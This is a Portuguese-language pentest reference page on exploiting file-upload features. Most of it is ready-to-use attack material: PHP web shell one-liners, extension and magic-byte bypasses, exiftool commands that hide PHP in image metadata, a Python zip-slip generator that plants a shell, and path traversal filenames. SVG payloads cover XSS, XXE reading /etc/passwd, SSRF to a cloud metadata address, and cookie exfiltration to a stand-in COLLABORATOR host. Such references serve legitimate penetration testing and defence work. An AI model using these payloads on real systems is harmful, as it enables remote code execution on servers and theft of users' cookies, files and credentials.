Kaique Mitsuo Silva Yamamoto
Seguranca informacaoWeb vulnerabilities

File Upload Vulnerabilities

Bypass de upload de arquivos, web shells, polyglots, path traversal via upload, exiftool exploitation, SVG XSS — explorando uploads mal configurados.

Upload de arquivos é um dos vetores mais perigosos quando mal configurado. Um upload sem validação adequada pode resultar em RCE (Remote Code Execution).


Vetores de ataque

File Upload
├── Web Shell upload (executar código no servidor)
├── Client-side validation bypass
├── Server-side filter bypass
│   ├── Extension bypass
│   ├── MIME type bypass
│   ├── Content-Type bypass
│   └── Magic bytes bypass
├── Path traversal via filename
├── Polyglot files (arquivo com múltiplos formatos)
├── SVG/HTML/XSS via upload
├── XXE via upload (XML/SVG/DOCX/XLSX)
├── SSRF via upload (SVG, PDF)
├── Deserialization via upload
└── Zip slip / Zip bomb

Web Shell Upload

PHP

<!-- shell.php -->
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo `<cmd>`; ?>

<!-- One-liner mais compacto -->
<?=`$_GET[0]`?>

<!-- Base64 encoded -->
<?php eval(base64_decode($_GET['cmd'])); ?>

<!-- Via .htaccess (se Apache) -->
# Se consegue fazer upload de .htaccess:
AddType application/x-httpd-php .jpg .png .gif
# Agora .jpg com código PHP executa

Bypass de extensão

# Double extension
shell.php.jpg
shell.php.png
shell.php%00.jpg    (null byte — versões antigas de PHP)
shell.pHp            (case sensitive em alguns servers)
shell.php5
shell.php7
shell.phtml
shell.phar
shell.pht

# Separação por ponto
shell.php.jpg.png
shell.php..jpg

# Backslash
shell.php%5c.jpg    (backslash em Windows)

# Specific to web servers:
shell.php.jpg;      (IIS 6 — ; é separador)
shell.php;.jpg      (IIS 6)
shell.asp.jpg       (IIS 6 — config errada)
shell.php.xxx       (se xxx é handler desconhecido → PHP pode processar)

Bypass de Content-Type

# Alterar Content-Type no request
# Original: Content-Type: image/jpeg
# Para: Content-Type: image/jpeg  (mas arquivo é .php)

# Com curl
curl -X POST -F "[email protected];type=image/jpeg" https://target.com/upload

# Com Burp Suite
# 1. Interceptar upload
# 2. Alterar Content-Type de application/x-php para image/jpeg
# 3. Forward

Bypass de magic bytes

# Adicionar magic bytes no início do arquivo

# JPEG magic bytes + PHP code
ÿØÿà JFIF <?php system($_GET['cmd']); ?>
(hex: FFD8FFE0)

# PNG magic bytes + PHP code
‰PNG <?php system($_GET['cmd']); ?>
(hex: 89504E47)

# GIF magic bytes + PHP code
GIF89a <?php system($_GET['cmd']); ?>
GIF87a <?php system($_GET['cmd']); ?>

# PDF magic bytes + PHP code
%PDF-1.4 <?php system($_GET['cmd']); ?>

Polyglot Files

Arquivos válidos em múltiplos formatos simultaneamente.

# JPEG + PHP polyglot
# Criar imagem JPEG válida que contém código PHP
# Usar exiftool para inserir PHP nos metadados

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
mv image.jpg image.php.jpg

# GIF + JS polyglot (para XSS)
# GIF89a é válido como GIF e como JavaScript
GIF89a=1;alert(1)//
(hex: 47 49 46 38 39 61 3d 31 3b 61 6c 65 72 74 28 31 29 2f 2f)

# PNG + HTML polyglot
# PNG com payload HTML nos chunks

Exiftool para payload injection

# Inserir PHP em metadados JPEG
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
exiftool -Author='<?php system($_GET["cmd"]); ?>' photo.jpg
exiftool -ImageDescription='<?php system($_GET["cmd"]); ?>' photo.jpg

# Verificar metadados
exiftool photo.jpg

# Batch injection
for f in *.jpg; do
  exiftool -Comment='<?php system($_GET["cmd"]); ?>' "$f"
done

SVG Injection

SVG é XML, suporta JavaScript e CSS — e muitas aplicações aceitam como "imagem".

<!-- SVG + JavaScript -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://COLLABORATOR/?c='+document.cookie)"></svg>

<!-- SVG + CSS (data exfiltration) -->
<svg xmlns="http://www.w3.org/2000/svg">
<style>
input[name="password"]:valid {
  background: url("https://COLLABORATOR/?p=VALID");
}
</style>
</svg>

<!-- SVG + XXE -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
  <text x="0" y="20">&xxe;</text>
</svg>

<!-- SVG + SSRF -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://169.254.169.254/latest/meta-data/"/>
</svg>

<!-- SVG + external entity -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <iframe src="http://COLLABORATOR/" />
    </body>
  </foreignObject>
</svg>

Path Traversal via Filename

# Alterar nome do arquivo no upload
filename="../../../../etc/passwd"
filename="../../var/www/html/shell.php"
filename="....//....//etc/passwd"

# Em multipart/form-data
Content-Disposition: form-data; name="file"; filename="../../shell.php"

# Null byte (versões antigas)
filename="shell.php%00.jpg"
filename="shell.php\x00.jpg"

# Overwriting existing files
filename="index.php"   (sobrescreve o index da aplicação)
filename=".htaccess"   (sobrescreve config do Apache)

Zip Slip

# Arquivo ZIP malicioso contém paths com ../
# Ao extrair, sobrescreve arquivos fora do diretório alvo

# Criar zip malicioso
python3 -c "
import zipfile
zf = zipfile.ZipFile('malicious.zip', 'w')
zf.writestr('../../var/www/html/shell.php', '<?php system(\$_GET[\"cmd\"]); ?>')
zf.close()
"

# Se aplicação extrai ZIP sem validar paths → RCE

XXE via Upload

# DOCX/XLSX/PPTX são ZIPs com XML internos
# XXE no document.xml

# SVG já é XML (veja acima)

# XML upload direto
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# PDF com XXE (algumas bibliotecas)

Detection & Bypass Checklist

1. Client-side validation only?
   → Interceptar request no Burp e alterar extensão

2. Verifica extensão?
   → Double extension, null byte, case mixing
   → .php.jpg, .php%00.jpg, .pHp

3. Verifica Content-Type header?
   → Alterar Content-Type no Burp
   → multipart/form-data → image/jpeg

4. Verifica magic bytes?
   → Adicionar magic bytes no início do arquivo
   → JPEG: FFD8, PNG: 89504E47, GIF: 47494638

5. Verifica tamanho?
   → Se não verifica → zip bomb
   → Se verifica → small polyglot

6. Renomeia o arquivo?
   → Se renomeia mas mantém extensão → testar extensões
   → Se renomeia tudo → verificar se processa conteúdo

7. Armazena em path separado?
   → Se acessível via URL → web shell
   → Se não acessível → LFI via path traversal

8. Executa/processa o arquivo?
   → Se processa imagem (resize) → ImageMagick exploit
   → Se processa PDF → SSRF/XXE
   → Se processa XML → XXE

Referências

On this page